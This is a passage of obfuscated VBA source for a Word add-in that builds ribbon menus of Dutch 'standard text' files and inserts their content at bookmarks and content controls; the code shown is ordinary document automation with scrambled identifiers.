hLexZGwFhCJYXEyhbUeV = hLexZGwFhCJYXEyhbUeV & "<button id=""" & aXSEcSqZHM(RBTcFIzwcQPona) & """ label=""" & gMPskcAJeYo & """ onAction=""ModRibbonCallbacks.NieuweStandaardTekstOpslaan_OnAction"" /> "
hLexZGwFhCJYXEyhbUeV = hLexZGwFhCJYXEyhbUeV & " </menu>"
ckuHreOBNSHK = hLexZGwFhCJYXEyhbUeV
End Sub
Public Function jMGbGDejQsVtwiNlZAWuMIsFR(tZVJYNhGyDgSFYImQAMdpvpWsEeTVY As String, ciOaoaWPBOtwVTyiSX As Boolean, aEwUvuqCOBqFRcfBxmBqXqUMtg As Integer)
Dim vYjQsPbLJfERioolQmYHpKfcV As String
Dim sxFbyIvsvpqAKuzVVMSXLSfChm As String
Dim iIYoDiuutIBsCjdMJeMRpRXbAgzBYh As String
Dim label As String
Dim jVqxwcvUjTcbWwqFotEFcWEVxaQeFN As Collection
Dim tjBjlAgPt As Collection
Dim aCUIYtDFATdqZVGJXaGhxcfdKyG As Variant
Dim xgVecjyDEcOfNrERnXOxiqGwXViUw As Integer
Dim MhxdcwleltnLpwwAyFcvGQJW As String
Dim ZeZGUfferzaAXn As String
Dim IeZHRnHAdpDRXmnAY As String
Dim BkIuzknTwDUg As String
Dim xfxIPNLwZXhyj As HIDArSztfPlSSdXjD
Dim onAction As String
Dim imageMso As String
Dim hJwXmmrNzLvkyj As String
vYjQsPbLJfERioolQmYHpKfcV = ""
sxFbyIvsvpqAKuzVVMSXLSfChm = ""
If Not vATkLBmduaCnM.yLMahdP(tZVJYNhGyDgSFYImQAMdpvpWsEeTVY) Then
GoTo xCZKRovVgXdlMRwlGKFMnIwmTB
End If
Set xfxIPNLwZXhyj = gNGFgHDmesUmyrLzHo(tZVJYNhGyDgSFYImQAMdpvpWsEeTVY)
If xfxIPNLwZXhyj Is Nothing Then
GoTo xCZKRovVgXdlMRwlGKFMnIwmTB
End If
xfxIPNLwZXhyj.Sort wofZSDLUgkRJJc
Set jVqxwcvUjTcbWwqFotEFcWEVxaQeFN = xfxIPNLwZXhyj.hfZGIWzAkZBUSaSfSre
Set tjBjlAgPt = xfxIPNLwZXhyj.efXFlbmJrQRslOn
For xgVecjyDEcOfNrERnXOxiqGwXViUw = 1 To xfxIPNLwZXhyj.Count
ZeZGUfferzaAXn = jVqxwcvUjTcbWwqFotEFcWEVxaQeFN(xgVecjyDEcOfNrERnXOxiqGwXViUw)
MhxdcwleltnLpwwAyFcvGQJW = vATkLBmduaCnM.SPnKSjpmByKEgfSfRyAiRhLhsziDeC(ZeZGUfferzaAXn)
label = tjBjlAgPt(xgVecjyDEcOfNrERnXOxiqGwXViUw)
If CKGpWpPn(MhxdcwleltnLpwwAyFcvGQJW) Then
onAction = "ModRibbonCallbacks.StandaardTekstInvoegen_OnAction"
imageMso = "FileSaveAsWordDocx"
End If
vYjQsPbLJfERioolQmYHpKfcV = vYjQsPbLJfERioolQmYHpKfcV & "<button id=""" & aXSEcSqZHM(RBTcFIzwcQPona) & """ label=""" & QwhUZWQNaklgxGeurfAPsHpAmjvkqJ(label) & """ onAction=""" & onAction & """ screentip=""" & QwhUZWQNaklgxGeurfAPsHpAmjvkqJ(MhxdcwleltnLpwwAyFcvGQJW) & """ imageMso=""" & imageMso & """ tag=""" & dZQZpOnCjHxUIaizOfQYqQPYSTZCQiM(ZeZGUfferzaAXn) & """ /> "
Next xgVecjyDEcOfNrERnXOxiqGwXViUw
If ciOaoaWPBOtwVTyiSX And (aEwUvuqCOBqFRcfBxmBqXqUMtg > 1) Then
aCUIYtDFATdqZVGJXaGhxcfdKyG = BajLkPDDXdDABplMAFNTencGhqpLG(tZVJYNhGyDgSFYImQAMdpvpWsEeTVY, dyENzyfVcaha:=False)
If Not IsEmpty(aCUIYtDFATdqZVGJXaGhxcfdKyG) Then
For xgVecjyDEcOfNrERnXOxiqGwXViUw = LBound(aCUIYtDFATdqZVGJXaGhxcfdKyG) To UBound(aCUIYtDFATdqZVGJXaGhxcfdKyG)
BkIuzknTwDUg = aCUIYtDFATdqZVGJXaGhxcfdKyG(xgVecjyDEcOfNrERnXOxiqGwXViUw)
If LCase$(BkIuzknTwDUg) <> LCase$(otHuTVpQLsqYYPOHcyg) Then
If InStr(1, BkIuzknTwDUg, dXtQEEqNHSn) <> 0 Then
IeZHRnHAdpDRXmnAY = Mid$(BkIuzknTwDUg, Len(dXtQEEqNHSn) + 1)
iIYoDiuutIBsCjdMJeMRpRXbAgzBYh = jMGbGDejQsVtwiNlZAWuMIsFR(IeZHRnHAdpDRXmnAY, ciOaoaWPBOtwVTyiSX, aEwUvuqCOBqFRcfBxmBqXqUMtg:=aEwUvuqCOBqFRcfBxmBqXqUMtg - 1)
BkIuzknTwDUg = vATkLBmduaCnM.SPnKSjpmByKEgfSfRyAiRhLhsziDeC(IeZHRnHAdpDRXmnAY)
Else
iIYoDiuutIBsCjdMJeMRpRXbAgzBYh = jMGbGDejQsVtwiNlZAWuMIsFR(vATkLBmduaCnM.DEkSirIBdZPhxw(tZVJYNhGyDgSFYImQAMdpvpWsEeTVY, BkIuzknTwDUg), ciOaoaWPBOtwVTyiSX, aEwUvuqCOBqFRcfBxmBqXqUMtg:=aEwUvuqCOBqFRcfBxmBqXqUMtg - 1)
End If
If Len(iIYoDiuutIBsCjdMJeMRpRXbAgzBYh) <> 0 Then
sxFbyIvsvpqAKuzVVMSXLSfChm = sxFbyIvsvpqAKuzVVMSXLSfChm & "<menu id=""" & aXSEcSqZHM(RBTcFIzwcQPona) & """  label=""" & QwhUZWQNaklgxGeurfAPsHpAmjvkqJ(BkIuzknTwDUg) & """ > "
sxFbyIvsvpqAKuzVVMSXLSfChm = sxFbyIvsvpqAKuzVVMSXLSfChm & iIYoDiuutIBsCjdMJeMRpRXbAgzBYh
sxFbyIvsvpqAKuzVVMSXLSfChm = sxFbyIvsvpqAKuzVVMSXLSfChm & " </menu> "
End If
End If
Next xgVecjyDEcOfNrERnXOxiqGwXViUw
If Len(sxFbyIvsvpqAKuzVVMSXLSfChm) <> 0 Then
sxFbyIvsvpqAKuzVVMSXLSfChm = "<menuSeparator id=""" & aXSEcSqZHM(RBTcFIzwcQPona) & """/> " & sxFbyIvsvpqAKuzVVMSXLSfChm
End If
End If
End If
xCZKRovVgXdlMRwlGKFMnIwmTB:
jMGbGDejQsVtwiNlZAWuMIsFR = vYjQsPbLJfERioolQmYHpKfcV & sxFbyIvsvpqAKuzVVMSXLSfChm
End Function
Public Sub EWNqwZZGLHIYWCHmJThvtAxle(fileName As String)
Dim lIiTYmjLXTHvOVsjfqggUt As Document
Dim ZdJzANcoMEjishKvvK As Document
Dim cmHldXBKAmWWJuOMxNQybTpQNJiH As Range
On Error GoTo rypDhhiFyoQLfJTWDicUBdnG
If Documents.Count < 1 Then
Exit Sub
End If
Set lIiTYmjLXTHvOVsjfqggUt = Nothing
Set ZdJzANcoMEjishKvvK = Nothing
Application.ScreenUpdating = False
System.Cursor = wdCursorWait
Set lIiTYmjLXTHvOVsjfqggUt = ActiveDocument
Set ZdJzANcoMEjishKvvK = Application.Documents.Open(fileName, ReadOnly:=True, visible:=False, AddToRecentFiles:=False)
Set cmHldXBKAmWWJuOMxNQybTpQNJiH = ZdJzANcoMEjishKvvK.content
If ZdJzANcoMEjishKvvK.content.Paragraphs.Count = 1 Then
cmHldXBKAmWWJuOMxNQybTpQNJiH.MoveEndWhile cset:=Chr(13), Count:=wdBackward
End If
tIBhzPYFREoVAhjHkFvyCxy "Insert standard text"
With lIiTYmjLXTHvOVsjfqggUt.ActiveWindow.Selection
.FormattedText = cmHldXBKAmWWJuOMxNQybTpQNJiH.FormattedText
.Start = .Start + (cmHldXBKAmWWJuOMxNQybTpQNJiH.FormattedText.End - cmHldXBKAmWWJuOMxNQybTpQNJiH.FormattedText.Start)
End With
OAInOXkqRyUPYyPCCCATvGAvz
VeHlrtmiDPZiatRpcqicJTowBBUibq:
On Error Resume Next
If kOGgwlewGFv Then
OAInOXkqRyUPYyPCCCATvGAvz
End If
If Not ZdJzANcoMEjishKvvK Is Nothing Then
ZdJzANcoMEjishKvvK.Close wdDoNotSaveChanges
Set ZdJzANcoMEjishKvvK = Nothing
End If
If Not lIiTYmjLXTHvOVsjfqggUt Is Nothing Then
lIiTYmjLXTHvOVsjfqggUt.Activate
End If
Application.ScreenRefresh
Application.ScreenUpdating = True
System.Cursor = wdCursorNormal
On Error GoTo 0
Exit Sub
rypDhhiFyoQLfJTWDicUBdnG:
Resume VeHlrtmiDPZiatRpcqicJTowBBUibq
End Sub
Public Sub NxJPbLUqiBhPsrUrGgaXlmjdlAOi()
Dim wsBiTmrybSJlJzhabzlGSntclygX As String
Dim QBgEanj As Range
Dim cmQPkKXicDzvTwXgUu As Document
Dim foPtFRoIRchQqYzJtlP As Range
Dim CLLdkPKRfOYIWvSSXOIUOTcexoMBSn As String
Dim VUIuATEjLScTJYXNzAJPWKShyGFCGwR As Range
Dim wQnWSzOZfJFCxJFFqqnpxuTp As ParagraphFormat
Dim BQSgHUDtaFmoPaWLgsnXcY As Range
On Error GoTo SyKNzZhIrdmEdEUkR
If Word.Application.Documents.Count < 1 Then
Exit Sub
End If
System.Cursor = wdCursorWait
wsBiTmrybSJlJzhabzlGSntclygX = PjvUIMyQPSUCZsmgGBQ
If Not vATkLBmduaCnM.yLMahdP(wsBiTmrybSJlJzhabzlGSntclygX) Then
wsBiTmrybSJlJzhabzlGSntclygX = VSZwvKJXsCmgDdBU
If Not vATkLBmduaCnM.yLMahdP(wsBiTmrybSJlJzhabzlGSntclygX) Then
LmAGoicnKclDCA IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, IWhHeKWjbtIZRxgOlvjbyWhUZquj, TjAMGFxDuOOqmriooIY)
Exit Sub
End If
End If
Set QBgEanj = Selection.FormattedText
Set wQnWSzOZfJFCxJFFqqnpxuTp = Selection.Paragraphs.Last.Range.ParagraphFormat
CLLdkPKRfOYIWvSSXOIUOTcexoMBSn = vATkLBmduaCnM.DEkSirIBdZPhxw(ThisDocument.path, DsgpzhfumZDsIhmkKzcDCpKDWnLXIMH)
If Not vATkLBmduaCnM.hNesSGVSyzrQhfVeDtMXlWKqLaZgy(CLLdkPKRfOYIWvSSXOIUOTcexoMBSn) Then
CLLdkPKRfOYIWvSSXOIUOTcexoMBSn = NormalTemplate.FullName
End If
If Not ModRibbonCallbacks.UlZcNhSStwMgauFAeLkvJrxB Is Nothing Then
ModRibbonCallbacks.UlZcNhSStwMgauFAeLkvJrxB.eIMATKEoQoPbMnScoc = False
End If
Set cmQPkKXicDzvTwXgUu = Word.Application.Documents.Add(CLLdkPKRfOYIWvSSXOIUOTcexoMBSn)
If Not ModRibbonCallbacks.UlZcNhSStwMgauFAeLkvJrxB Is Nothing Then
ModRibbonCallbacks.UlZcNhSStwMgauFAeLkvJrxB.eIMATKEoQoPbMnScoc = cSettingsLintMenuAfterNieuwWordDocOnDocNewEvent
End If
Application.ScreenUpdating = False
cmQPkKXicDzvTwXgUu.content.ParagraphFormat = wQnWSzOZfJFCxJFFqqnpxuTp
cmQPkKXicDzvTwXgUu.content.FormattedText = QBgEanj
If cmQPkKXicDzvTwXgUu.content.Paragraphs.Count > QBgEanj.Paragraphs.Count Then
Set VUIuATEjLScTJYXNzAJPWKShyGFCGwR = cmQPkKXicDzvTwXgUu.content.Paragraphs.Last.Range
If Len(VUIuATEjLScTJYXNzAJPWKShyGFCGwR.Text) = 1 Then
VUIuATEjLScTJYXNzAJPWKShyGFCGwR.Delete
End If
End If
If cSettingsStandaardtekstSectieEindenVerwijderenBijOpslaan Then
Set foPtFRoIRchQqYzJtlP = cmQPkKXicDzvTwXgUu.content
ugjtoOCHDUCRHQzbkeghj foPtFRoIRchQqYzJtlP
foPtFRoIRchQqYzJtlP.Find.Execute "^b", replacewith:="", Replace:=wdReplaceAll
End If
Application.ScreenRefresh
Application.ScreenUpdating = True
With Dialogs(wdDialogFileSaveAs)
.name = vATkLBmduaCnM.DEkSirIBdZPhxw(wsBiTmrybSJlJzhabzlGSntclygX, cmQPkKXicDzvTwXgUu.name)
If .Show = -1 Then
cmQPkKXicDzvTwXgUu.Close wdDoNotSaveChanges
End If
End With
HtXbQlEUnbbkEyDmMseu
TXzgAPZSWQqZpFymQHRTSQEb
gQHvAzxRcPcNuDAmAOzKjRsr:
On Error Resume Next
Application.ScreenRefresh
Application.ScreenUpdating = True
System.Cursor = wdCursorNormal
On Error GoTo 0
Exit Sub
SyKNzZhIrdmEdEUkR:
Resume gQHvAzxRcPcNuDAmAOzKjRsr
End Sub
Private Function gNGFgHDmesUmyrLzHo(TXKvCMhZuMMDLSuSAWhVAyZjFNMzqZ As String) As HIDArSztfPlSSdXjD
Dim NuhTWtQkdMKWeAlbXDt As HIDArSztfPlSSdXjD
Dim label As String
Dim gwgHXvdtwpLTRGwVwSUjNL As Collection
Dim YaNLeuLIXWWLZvVRJzvuhVdYbKBkK As Variant
Dim ksmpXJVBLnQuOwDyKypdTpZK As String
On Error GoTo ZGGFGSREhp
Set NuhTWtQkdMKWeAlbXDt = New HIDArSztfPlSSdXjD
If vATkLBmduaCnM.yLMahdP(TXKvCMhZuMMDLSuSAWhVAyZjFNMzqZ) Then
Set gwgHXvdtwpLTRGwVwSUjNL = vATkLBmduaCnM.PmeNcCuvHndrotQaPyNEdYBOkJx(TXKvCMhZuMMDLSuSAWhVAyZjFNMzqZ, NOiKmDyWjaBUsIlcq:=False)
For Each YaNLeuLIXWWLZvVRJzvuhVdYbKBkK In gwgHXvdtwpLTRGwVwSUjNL
ksmpXJVBLnQuOwDyKypdTpZK = CStr(YaNLeuLIXWWLZvVRJzvuhVdYbKBkK)
If (Left$(ksmpXJVBLnQuOwDyKypdTpZK, 1) <> "~") And CKGpWpPn(ksmpXJVBLnQuOwDyKypdTpZK) Then
label = vATkLBmduaCnM.zyldNHeFWXSAUuRUcnAswbJCVHTZL(ksmpXJVBLnQuOwDyKypdTpZK)
If Len(label) <> 0 Then
NuhTWtQkdMKWeAlbXDt.Add Key:=vATkLBmduaCnM.DEkSirIBdZPhxw(TXKvCMhZuMMDLSuSAWhVAyZjFNMzqZ, ksmpXJVBLnQuOwDyKypdTpZK), Item:=label
End If
End If
Next YaNLeuLIXWWLZvVRJzvuhVdYbKBkK
End If
NuhTWtQkdMKWeAlbXDt.Sort wofZSDLUgkRJJc
Set gNGFgHDmesUmyrLzHo = NuhTWtQkdMKWeAlbXDt
Exit Function
ZGGFGSREhp:
Set gNGFgHDmesUmyrLzHo = Nothing
End Function
Private Function CKGpWpPn(fileName As String) As Boolean
CKGpWpPn = (LCase$(Right$(fileName, 4)) = ".doc") Or (LCase$(Right$(fileName, 5)) = ".docx") Or (LCase$(Right$(fileName, 5)) = ".docm")
End Function
Private Function VSZwvKJXsCmgDdBU() As String
Dim JNBfUyEIypHijOFoeDilGdCGY As String
JNBfUyEIypHijOFoeDilGdCGY = Trim$(ModRibbonCallbacks.FlpcMehtxbu)
If Len(JNBfUyEIypHijOFoeDilGdCGY) <> 0 Then
VSZwvKJXsCmgDdBU = vATkLBmduaCnM.DEkSirIBdZPhxw(JNBfUyEIypHijOFoeDilGdCGY, wObspcLTdWNXCQAQXMtztwRSjxGeYU)
Else
VSZwvKJXsCmgDdBU = ""
End If
End Function
Private Function PjvUIMyQPSUCZsmgGBQ() As String
Dim NaxlzjiIKljyY As String
NaxlzjiIKljyY = Trim$(ModRibbonCallbacks.OWbzGGFhLrGQMxcwxUkSOnpmWmqw)
If Len(NaxlzjiIKljyY) <> 0 Then
PjvUIMyQPSUCZsmgGBQ = vATkLBmduaCnM.DEkSirIBdZPhxw(NaxlzjiIKljyY, wObspcLTdWNXCQAQXMtztwRSjxGeYU)
Else
PjvUIMyQPSUCZsmgGBQ = ""
End If
End Function
Private Function WSYrLdIwkAXbuukPKQmgGDIaKtwu() As String
If DYUtgyiAe = SettingsRibbonLanguageNederlands Then
WSYrLdIwkAXbuukPKQmgGDIaKtwu = vdYfURkZKubssqMe
Else
WSYrLdIwkAXbuukPKQmgGDIaKtwu = iZgyigDYEwiNEzfZfBwYACWWwIgWY
End If
End Function
Private Function gMPskcAJeYo() As String
If DYUtgyiAe = SettingsRibbonLanguageNederlands Then
gMPskcAJeYo = lLjOpmHOwHoCrCSgVhuOzkhby
Else
gMPskcAJeYo = RqALItiNXDIiomVQoBolQbSInBX
End If
End Function
#End If
Private Sub ZsysDummy_NoCrunch()
End Sub

Attribute VB_Name = "LvTdoctFOrtrJzBqJaFqk"
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Option Private Module
Public Function PuJGEJf(doc As Word.Document, bmCJpTC As String, ByRef jEbkQvynMGlekKTOyh As String) As Boolean
Dim ejPGPjAGNSommzkegUeB As Word.BuildingBlock
Dim NmXmrEYpYxllCe As Word.Range
Dim FzKeTRuhBEiVkWraqHw As Word.Range
PuJGEJf = False
Set NmXmrEYpYxllCe = doc.ActiveWindow.Selection.Range
Set ejPGPjAGNSommzkegUeB = yRXuwiG(doc, bmCJpTC)
If Not ejPGPjAGNSommzkegUeB Is Nothing Then
Set FzKeTRuhBEiVkWraqHw = ejPGPjAGNSommzkegUeB.Insert(where:=NmXmrEYpYxllCe, RichText:=True)
#If Mac = 0 Then
VwvItbcISuRZaHhdZvWFRHjlfJ.yLAtkZAjM FzKeTRuhBEiVkWraqHw
#End If
PuJGEJf = True
Else
jEbkQvynMGlekKTOyh = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, puIsgZPvTrpynOyKFTWpgG, IssizGCQgmrLOvIuYtw)
PuJGEJf = False
End If
End Function
Public Function LnFWjvQCTcVunxyNnm(doc As Word.Document, SRVSaokxbeAHuqWhRvCPDsMAN As String, ByRef wqyafHLUSAfieboGVd As String) As Boolean
Dim hFMMKxeyETSmjBLzqRW As Long
Dim MSZoJrJUaja As String
Dim twuBSGlkGjgUy As String
Dim HPcDXPCUIWHqAmrFQ As Boolean
Dim VGhVdQQrKvPrjUZmptlGcyfMIdlWR As Collection
Dim bkm As Word.Bookmark
Dim mMmZxHjytXuPNUsDGfJgKUF As Long
Dim qmtKmWcCiaHDdKCpPTg As String
Dim eqpnTVQXoExBuSdIvYC As Word.BuildingBlock
Dim MPOvadWlXqnnYhBEXGYKu As Word.Range
Dim muubxGBzMX As Word.Range
LnFWjvQCTcVunxyNnm = False
wqyafHLUSAfieboGVd = ""
hFMMKxeyETSmjBLzqRW = InStr(1, LCase$(SRVSaokxbeAHuqWhRvCPDsMAN), LCase$(XlnDGXlGZCHafGkcdSDcYFgjtdVH))
If hFMMKxeyETSmjBLzqRW = 0 Then
wqyafHLUSAfieboGVd = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, EnUYfXqFNH, dhEUghrFkrFAJNh)
LnFWjvQCTcVunxyNnm = False
GoTo PIAENCYiqhxeLKUSCiTWuEVkJ
End If
twuBSGlkGjgUy = Mid$(SRVSaokxbeAHuqWhRvCPDsMAN, hFMMKxeyETSmjBLzqRW + Len(XlnDGXlGZCHafGkcdSDcYFgjtdVH))
MSZoJrJUaja = Left$(SRVSaokxbeAHuqWhRvCPDsMAN, hFMMKxeyETSmjBLzqRW - 1)
HPcDXPCUIWHqAmrFQ = (Len(MSZoJrJUaja) = 0)
Set VGhVdQQrKvPrjUZmptlGcyfMIdlWR = New Collection
Set bkm = Nothing
On Error Resume Next
Set bkm = qVEvPOpFAYZcZyX(doc, twuBSGlkGjgUy)
On Error GoTo 0
If Not bkm Is Nothing Then
VGhVdQQrKvPrjUZmptlGcyfMIdlWR.Add bkm
End If
For mMmZxHjytXuPNUsDGfJgKUF = 1 To pZCuVfw
Set bkm = Nothing
On Error Resume Next
Set bkm = qVEvPOpFAYZcZyX(doc, twuBSGlkGjgUy & "_" & CStr(mMmZxHjytXuPNUsDGfJgKUF))
On Error GoTo 0
If Not bkm Is Nothing Then
VGhVdQQrKvPrjUZmptlGcyfMIdlWR.Add bkm
End If
Next mMmZxHjytXuPNUsDGfJgKUF
If VGhVdQQrKvPrjUZmptlGcyfMIdlWR.Count = 0 Then
wqyafHLUSAfieboGVd = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, EnUYfXqFNH, dhEUghrFkrFAJNh)
LnFWjvQCTcVunxyNnm = False
GoTo PIAENCYiqhxeLKUSCiTWuEVkJ
End If
Set eqpnTVQXoExBuSdIvYC = yRXuwiG(doc, SRVSaokxbeAHuqWhRvCPDsMAN)
If (Not eqpnTVQXoExBuSdIvYC Is Nothing) Or HPcDXPCUIWHqAmrFQ Then
For Each bkm In VGhVdQQrKvPrjUZmptlGcyfMIdlWR
qmtKmWcCiaHDdKCpPTg = bkm.name
Set MPOvadWlXqnnYhBEXGYKu = bkm.Range
If DYacNIxAkZMggfYWz(MPOvadWlXqnnYhBEXGYKu) Then
MPOvadWlXqnnYhBEXGYKu.Tables(1).Delete
End If
If MPOvadWlXqnnYhBEXGYKu.Start <> MPOvadWlXqnnYhBEXGYKu.End Then
MPOvadWlXqnnYhBEXGYKu.Delete
End If
If HPcDXPCUIWHqAmrFQ Then
Set muubxGBzMX = MPOvadWlXqnnYhBEXGYKu.Duplicate
Else
Set muubxGBzMX = eqpnTVQXoExBuSdIvYC.Insert(where:=MPOvadWlXqnnYhBEXGYKu, RichText:=True)
End If
muubxGBzMX.Bookmarks.Add qmtKmWcCiaHDdKCpPTg, muubxGBzMX
#If Mac = 0 Then
VwvItbcISuRZaHhdZvWFRHjlfJ.yLAtkZAjM muubxGBzMX
#End If
Next bkm
Else
wqyafHLUSAfieboGVd = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, puIsgZPvTrpynOyKFTWpgG, IssizGCQgmrLOvIuYtw)
LnFWjvQCTcVunxyNnm = False
GoTo PIAENCYiqhxeLKUSCiTWuEVkJ
End If
LnFWjvQCTcVunxyNnm = True
Exit Function
PIAENCYiqhxeLKUSCiTWuEVkJ:
End Function
#If Mac = 0 Then
Public Function zHLbPidxxGFyPHIiyRPVZiuG(doc As Word.Document, voewlQS As String, ByRef xnYYjPrcIwBAzIaMaLllrFjQADllVI As String) As Boolean
Dim ftyvjFNSjTvRHtsUfwmsEJJ As Long
Dim vnneTJahaDH As String
Dim wwMTBVtakRYnCNBZzMqGRlIAEWT As String
Dim qzRsDuCsBPFGHcoyKqxsjMYJLTx As Boolean
Dim yQNjGQH As Collection
Dim cc As Word.ContentControl
Dim CRhruBFHENO As Boolean
Dim cmIrCHW As Boolean
Dim ERaItLWwHsVcsIP As String
Dim oVdHrOPSNEviHFxZGFWpCC As Word.ContentControl
Dim FxkCqBFMXrpCexF As Word.ContentControl
Dim ZNORMCAGNFjqPoedrHqOum As Word.BuildingBlock
Dim pESvDNH As Word.Range
Dim VnddVnsEAoaENZGI As Word.Range
zHLbPidxxGFyPHIiyRPVZiuG = False
xnYYjPrcIwBAzIaMaLllrFjQADllVI = ""
If Not VwvItbcISuRZaHhdZvWFRHjlfJ.XnSvSIGzKeCsHcNOtgY(doc) Then
If doc.SaveFormat = wdFormatDocument97 Then
xnYYjPrcIwBAzIaMaLllrFjQADllVI = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, jzvlBjxfkttYU, vFQatpvDXU)
Else
xnYYjPrcIwBAzIaMaLllrFjQADllVI = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, ZKxlPJIAzhQBnFqHoHiupdPgBkYaUA, itoUlhuBHmnEJKvSe)
End If
zHLbPidxxGFyPHIiyRPVZiuG = False
GoTo fnChUlYiqPWwdbdOefJP
End If
ftyvjFNSjTvRHtsUfwmsEJJ = InStr(1, LCase$(voewlQS), LCase$(QqTwOHtJbgHeuxDRXRHjrCfrE))
If ftyvjFNSjTvRHtsUfwmsEJJ = 0 Then
xnYYjPrcIwBAzIaMaLllrFjQADllVI = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, EnUYfXqFNH, dhEUghrFkrFAJNh)
zHLbPidxxGFyPHIiyRPVZiuG = False
GoTo fnChUlYiqPWwdbdOefJP
End If
wwMTBVtakRYnCNBZzMqGRlIAEWT = Mid$(voewlQS, ftyvjFNSjTvRHtsUfwmsEJJ + Len(QqTwOHtJbgHeuxDRXRHjrCfrE))
vnneTJahaDH = Left$(voewlQS, ftyvjFNSjTvRHtsUfwmsEJJ - 1)
qzRsDuCsBPFGHcoyKqxsjMYJLTx = (Len(vnneTJahaDH) = 0)
Set yQNjGQH = akmTLkfdcPRzhEEpWOuP(doc, wwMTBVtakRYnCNBZzMqGRlIAEWT)
If yQNjGQH.Count = 0 Then
xnYYjPrcIwBAzIaMaLllrFjQADllVI = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, EnUYfXqFNH, dhEUghrFkrFAJNh)
zHLbPidxxGFyPHIiyRPVZiuG = False
GoTo fnChUlYiqPWwdbdOefJP
End If
Set ZNORMCAGNFjqPoedrHqOum = yRXuwiG(doc, voewlQS)
If (Not ZNORMCAGNFjqPoedrHqOum Is Nothing) Or qzRsDuCsBPFGHcoyKqxsjMYJLTx Then
For Each cc In yQNjGQH
Set pESvDNH = cc.Range.Duplicate
pESvDNH.Collapse wdCollapseStart
CRhruBFHENO = cc.LockContentControl
cmIrCHW = cc.LockContents
ERaItLWwHsVcsIP = cc.Title
cc.LockContentControl = False
cc.LockContents = False
cc.Delete DeleteContents:=True
Set oVdHrOPSNEviHFxZGFWpCC = pESvDNH.ContentControls.Add(wdContentControlRichText, pESvDNH)
oVdHrOPSNEviHFxZGFWpCC.Tag = wwMTBVtakRYnCNBZzMqGRlIAEWT
oVdHrOPSNEviHFxZGFWpCC.Title = ERaItLWwHsVcsIP
oVdHrOPSNEviHFxZGFWpCC.Range.Text = Chr(32)
oVdHrOPSNEviHFxZGFWpCC.SetPlaceholderText Range:=oVdHrOPSNEviHFxZGFWpCC.Range
Set pESvDNH = oVdHrOPSNEviHFxZGFWpCC.Range
If qzRsDuCsBPFGHcoyKqxsjMYJLTx Then
Else
Set VnddVnsEAoaENZGI = ZNORMCAGNFjqPoedrHqOum.Insert(where:=pESvDNH, RichText:=True)
For Each FxkCqBFMXrpCexF In oVdHrOPSNEviHFxZGFWpCC.Range.ContentControls
If (LCase$(FxkCqBFMXrpCexF.Tag) = LCase$(wwMTBVtakRYnCNBZzMqGRlIAEWT)) And (FxkCqBFMXrpCexF.ID <> oVdHrOPSNEviHFxZGFWpCC.ID) Then
FxkCqBFMXrpCexF.Delete
Exit For
End If
Next FxkCqBFMXrpCexF
VwvItbcISuRZaHhdZvWFRHjlfJ.yLAtkZAjM VnddVnsEAoaENZGI
End If
oVdHrOPSNEviHFxZGFWpCC.LockContentControl = CRhruBFHENO
oVdHrOPSNEviHFxZGFWpCC.LockContents = cmIrCHW
Next cc
Else
xnYYjPrcIwBAzIaMaLllrFjQADllVI = IIf(DYUtgyiAe = SettingsRibbonLanguageNederlands, puIsgZPvTrpynOyKFTWpgG, IssizGCQgmrLOvIuYtw)
zHLbPidxxGFyPHIiyRPVZiuG = False
GoTo fnChUlYiqPWwdbdOefJP
End If
zHLbPidxxGFyPHIiyRPVZiuG = True
Exit Function
fnChUlYiqPWwdbdOefJP:
End Function
#End If
#If Mac = 0 Then
Public Function jSsdldbpYHYJtVaoHoLXvQHHkiQP(doc As Word.Document) As Word.ContentControl
Dim upHsmWCEVXASXI As Word.ContentControls
Set upHsmWCEVXASXI = doc.SelectContentControlsByTag(uMHBQbtRJonAWcLd)
If upHsmWCEVXASXI.Count = 0 Then
Set jSsdldbpYHYJtVaoHoLXvQHHkiQP = Nothing
Else
Set jSsdldbpYHYJtVaoHoLXvQHHkiQP = upHsmWCEVXASXI(1)
End If
End Function
Public Function vGxbTzprHrG(doc As Word.Document) As Word.ContentControl
Dim iCAhZJAjT As Word.Range
Dim aczOBhJcwCtxTsFdBmIWaTUjKG As Word.ContentControl
Set vGxbTzprHrG = Nothing
Set iCAhZJAjT = doc.Range(0, 0)
If Not iCAhZJAjT.Information(wdWithInTable) Then
iCAhZJAjT.InsertAfter vbCr
End If
iCAhZJAjT.Collapse wdCollapseEnd
iCAhZJAjT.InsertBreak WdBreakType.wdSectionBreakNextPage
With doc.Sections(2)
On Error Resume Next
.Headers(wdHeaderFooterPrimary).LinkToPrevious = False
.Headers(wdHeaderFooterFirstPage).LinkToPrevious = False
.Headers(wdHeaderFooterEvenPages).LinkToPrevious = False
.Footers(wdHeaderFooterPrimary).LinkToPrevious = False
.Footers(wdHeaderFooterFirstPage).LinkToPrevious = False
.Footers(wdHeaderFooterEvenPages).LinkToPrevious = False
On Error GoTo 0
End With
With doc.Sections(1)
On Error Resume Next
.Headers(wdHeaderFooterPrimary).Range.Delete
.Headers(wdHeaderFooterFirstPage).Range.Delete
.Headers(wdHeaderFooterEvenPages).Range.Delete
.Footers(wdHeaderFooterPrimary).Range.Delete
.Footers(wdHeaderFooterFirstPage).Range.Delete
.Footers(wdHeaderFooterEvenPages).Range.Delete
On Error GoTo 0
End With
Set aczOBhJcwCtxTsFdBmIWaTUjKG = doc.ContentControls.Add(wdContentControlRichText, doc.Sections(1).Range)
aczOBhJcwCtxTsFdBmIWaTUjKG.Tag = uMHBQbtRJonAWcLd
aczOBhJcwCtxTsFdBmIWaTUjKG.Title = JqPctLqAjUnDDnUNahNLGe
Set vGxbTzprHrG = aczOBhJcwCtxTsFdBmIWaTUjKG
End Function
Public Function PFJXPOWcdtecafCZvqQ(doc As Word.Document) As Boolean
Dim KursUXsvIZAAcipvNhqLafGCExzqkVv As Word.ContentControls
Dim DJyTKQKEIVGrjuuKqEncMcTvnYcz As Word.ContentControl
PFJXPOWcdtecafCZvqQ = False
